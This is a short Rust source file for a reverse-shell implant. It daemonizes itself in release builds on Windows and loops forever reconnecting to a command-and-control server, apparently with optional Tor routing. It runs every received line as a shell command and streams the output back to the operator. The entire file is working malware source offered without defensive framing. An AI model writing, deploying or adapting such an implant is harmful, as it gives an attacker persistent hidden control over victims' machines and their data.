#![feature(never_type)]
#[macro_use] extern crate log;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
use std::{thread, time::Duration};
use revsh::{Shell, connect};
use daemonize::Daemonize;

const WAIT: Duration = Duration::from_millis(100);

#[tokio::main]
async fn main() {
    if cfg!(debug_assertions) {
        unsafe { std::env::set_var("RUST_LOG", "trace,mio=debug") };
        pretty_env_logger::init();
    } else if cfg!(windows) {
        let daemonize = Daemonize::new();
        if let Err(err) = daemonize.start() {
            eprintln!("{err:?}");
        }
    }
    info!("Entering main loop");
    loop {
        if let Err(err) = pwnd().await {
            debug!("{err}");
        } else {
            error!("Main loop returned success... This should never happen!");
        }
        thread::sleep(WAIT);
    }
}

async fn pwnd() -> std::io::Result<()> {
    #[allow(unused_mut)] // stream needs to be mut if cfg!(not(features = "tor"))
    let mut stream = connect().await?;
    let (read, mut write) = stream.split();
    let mut read = BufReader::new(read);
    info!("Connected to C2!");
    write.write_all("$ ".as_bytes()).await.unwrap();
    write.flush().await.unwrap();
    let mut shell = Shell::default();
    let mut input = String::new();
    while let Ok(_len) = read.read_line(&mut input).await {
        input = input.replace('\n', "");
        if cfg!(debug_assertions) {
            debug!("Running command: {input:?}");
        }
        let mut parts = input.split(' ');
        let mut out = shell.exec(
            parts.next().unwrap(), Some(parts.collect()), None
        ).await.unwrap();
        let mut buf: Vec<u8> = vec![];
        buf.append(&mut out.stdout);
        buf.append(&mut out.stderr);
        buf.append(&mut "\n$ ".as_bytes().to_vec());
        write.write_all(&buf).await.unwrap();
        write.flush().await.unwrap();
        input.clear();
    }
    Ok(())
}